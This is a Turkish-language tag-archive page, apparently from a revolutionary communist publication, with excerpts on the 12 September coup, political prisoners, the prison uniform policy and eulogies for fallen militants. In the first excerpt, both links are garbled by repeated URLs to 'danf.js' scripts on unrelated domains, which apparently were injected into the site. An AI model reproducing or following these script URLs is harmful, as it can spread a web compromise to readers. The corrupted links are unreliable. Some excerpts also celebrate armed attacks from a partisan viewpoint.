Etiket arşivi

Tek Tip Elbise Saldırısı 12 Eylül’ün devamıdır: DEVRİMCİ TUTSAKLAR TESLİM ALINAMAZ!

  Cezaevlerinde tek tip elbise saldırısına karşı, http://dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&www.mezopotamyaajansi.org sitesi, 12 Eylül’de hapis yatmış olan devrimcilerle röportajlar yayınladı. Yazıda, yazarımız Nevin Berktaş’la yapılmış olan bölümü yayınlıyoruz. Yazının tamamı için: http://dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&dest.collectfasttracks.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&middle.destinyfernandi.com/clork/bons/danf.js?k=0&www.mezopotamyaajansi.org/search/content/view/10547?page=2&key=31f97fb8a4a118e15f71611939eb6a8d?page=1&key=31f97fb8a4a118e15f71611939eb6a8d      AKP tarafından çıkarılan 696 Sayılı Kanun Hükmünde Kararname (KHK) ile getirilen tek tip kıyafet dayatmasına dönük tepkiler gelmeye devam ediyor. Özellikle aynı uygulamanın hayata geçirilmek istendiği 12 Eylül Askeri Darbesi …

Devamını oku

Kararlılığın, uzlaşmazlığın, cesaretin adı: İSMAİL CÜNEYT (STALİN MEHMET)

Yoldaşları arasındaki adı Stalin Mehmet’ti. Sınıf düşmanlarına karşı öylesine derin bir kin taşıyordu ki, ona bu adı vermişlerdi. İsmail Cüneyt, ideolojik-siyasi-örgütsel atılımın ve boşlukları doldurmanın adı oldu hep. İsmail Cüneyt, Balıkesir’in Sındırgı ilçesinde yoksul bir köylü ailesinin çocuğuydu. O, küçük yaştan itibaren sefalet içinde büyüdü. Lise çağlarında devrimci düşüncelere ilgi duymaya başladı. 12 Mart 1971 darbesi gerçekleştiğinde lisedeydi ve tek …

Devamını oku

Eylül karanlığına, Ekim kızıllığı… EKİM ŞEHİTLERİ YAŞIYOR!

arka ekim

Gel bir bak yakından şu yiğitlere Daha dün gibiydi acımasız devrildiler Kan bir kara görüntüydü göğüslerinde Ölüm çirkindi onlar güzelleştirdiler. Düştüler toprağa özgürce, korkusuz Kurşun sesi değildi bir sevdalı gülüştü Düştüler dimdik, özgürce, yalın Öldüler ama çoğaldılar ölümsüz Ölmediler onlar, ölemezler ki Bu yadsınmaz gerçeği bilmedi satılmışlar Onlar bir atardamardı halkların yüreğinde Gecelerde yıldız yıldız uçuşan Gözyaşları yaraşmaz o ölülere …

Devamını oku

“İlk kurşun”: OSMAN YAŞAR YOLDAŞCAN

Günlerden 29 Eylül 1980! Yer, İstanbul-Bağcılar yokuşu… Birazdan yeni bir tarih yazılacak, iki sınıf karşı karşıya gelecek… Güçler ve silahlar eşit değil, ama olsun! Sayı ve silah yönünden bir hayli üstün taraf, eskiyi, yani burjuvaziyi temsil ederken; karşısında iki ondörtlü ve bir bombasıyla tek kişilik bir ordu yeniyi, yani proletaryayı temsil ediyor… Çekildiği inşaatı bilinç ve çelikten iradesiyle granitten bir …

Devamını oku

Hücreler ve 12 Eylül kitapları Çukurova Kitap Fuarı’nda

nevin-adana-fuar

Ocak ayının ilk haftasında açılan Çukurova Kitap Fuarı’na bu yılki ilgi oldukça fazlaydı. Fuarda, yayınevimiz tarafından basılan ‘Darbe Yenilgi Direniş: 12 Eylül’ kitabı ve Belge Yayınları ile birlikte ikinci kez basılan “Hücreler kitabı Dava Dosyası” da bu ilgiden payını aldı. Belge Yayınları’nın standında kitapları imzalayan Nevin Berktaş, yerel gazete ve dergilerin sorularını yanıtladı.Şujin gazetesinde çıkan röportajında, kitaplarına özellikle gençlerin ilgi …

Devamını oku

“Niye öleyim”?!

cizre-cocuklar

Bu cümlenin sahibinin adı Burak Kayaoğlu. Kendisi şairmiş! Onu ve yazdığı şiiri bize tanıtan ise, Melih Pekdemir. 12 Eylül mahkemelerinde “örgüt değil, dergiyiz” savunmasıyla ünlü Devrimci Yol’un “önder”lerinden Melih Pekdemir. Pekdemir, 5 Eylül tarihli BirGün gazetesinde yayınlanan yazısında, “Niye ölelim ki” başlığını kullanmış; ayrıca bu şiire atıfta bulunmuş. Yazısında 15 Temmuz’dan bugüne yaşanan sürece ilişkin olarak “işbaşındaki şeytanların” gidici olduğunu …

Devamını oku

Fatih’in belgeseli çekildi

fatih-etkinlik

Mehmet Fatih Öktülmüş belgeseli, “Kutup Yıldızı-Ağacın Köklerinden Biri” adıyla ilk gösterim olarak Adana’da izleyicilerle buluştu. Yönetmenliğini Şaban Karabeli’nin, senaristliği ve editörlüğünü Özgür Akbaba’nın yaptığı belgesel, Fatih Öktülmüş Kültür Evi yapımcılığında çekildi. Tam da Fatih’e yakışır bir şekilde kolektif bir emeğin ürünü olarak ortaya çıkan eser, aynı zamanda büyük zorluklar ve yokluklar içinde gösterime hazır hale geldi. Belgeselle, Fatih’in çok fazla …

Devamını oku

Kutup Yıldızımız M. Fatih Öktülmüş

fatih

Mehmet Fatih Öktülmüş, 1984 yılında İstanbul cezaevlerinde gerçekleşen Ölüm Orucu eyleminde şehit düştü. DS savaşçıları Abdullah Meral, Haydar Başbağ, Hasan Tel ile birlikte sonsuzluğa uğurlandı. Onlar, 12 Eylül cuntasının devrimci tutsaklar üzerinde uygulamaya kalktığı “tek tip elbise” başta olmak üzere, faşist yaptırımlara bedenleriyle barikat oldular. Hem içeride, hem dışarıda 12 Eylül faşizminin karanlığını yaran gün ışıklarıydılar. Faşizme ve teslimiyete karşı …

Devamını oku

Geçmişten geleceğe YÜRÜYÜŞÜMÜZ SÜRÜYOR!

ustalar-onderler

Şubat ayı, ihtilalci komünistlerin “kuruluş” ve “yeniden doğuş” ayıdır. ’79’un 21 Şubat’ında, bu topraklarda Mustafa Suphi’lerden sonra ilk komünist örgütün kuruluşu müjdelendi. ‘98’in 17 Şubat’ında ise, tasfiyeye sürüklenen yapıyı yeniden bolşevik bir rotaya sokan “yeniden doğuş” gerçekleşti. Bundan dolayıdır ki, Şubat, ihtilalci komünistlerin her yıl “doğum günü” olarak kutladıkları, onur duydukları tarihlerini ve şehitlerini andıkları, bunlardan aldıkları güç ve moralle …

Devamını oku

YÖK protestosuna polis vahşeti

12 Eylül’ün üniversiteleri cendere altına almak için oluşturduğu YÖK (Yüksek Öğrenim Kurumu) 35. yılında, bir kez daha protesto edildi. YÖK kurulduğu yıldan itibaren başta üniversite öğrencileri ve öğretim üyeleri olmak üzere toplumun geniş bir kesimi tarafından eleştirilen, 12 Eylül’ün en fazla yıpranan kurumudur. Onun içindir ki, 12 Eylül sonrası gelen her hükümet, YÖK’ü kaldırma sözü vermiştir. Bunların sonuncusu AKP, aradan …

Devamını oku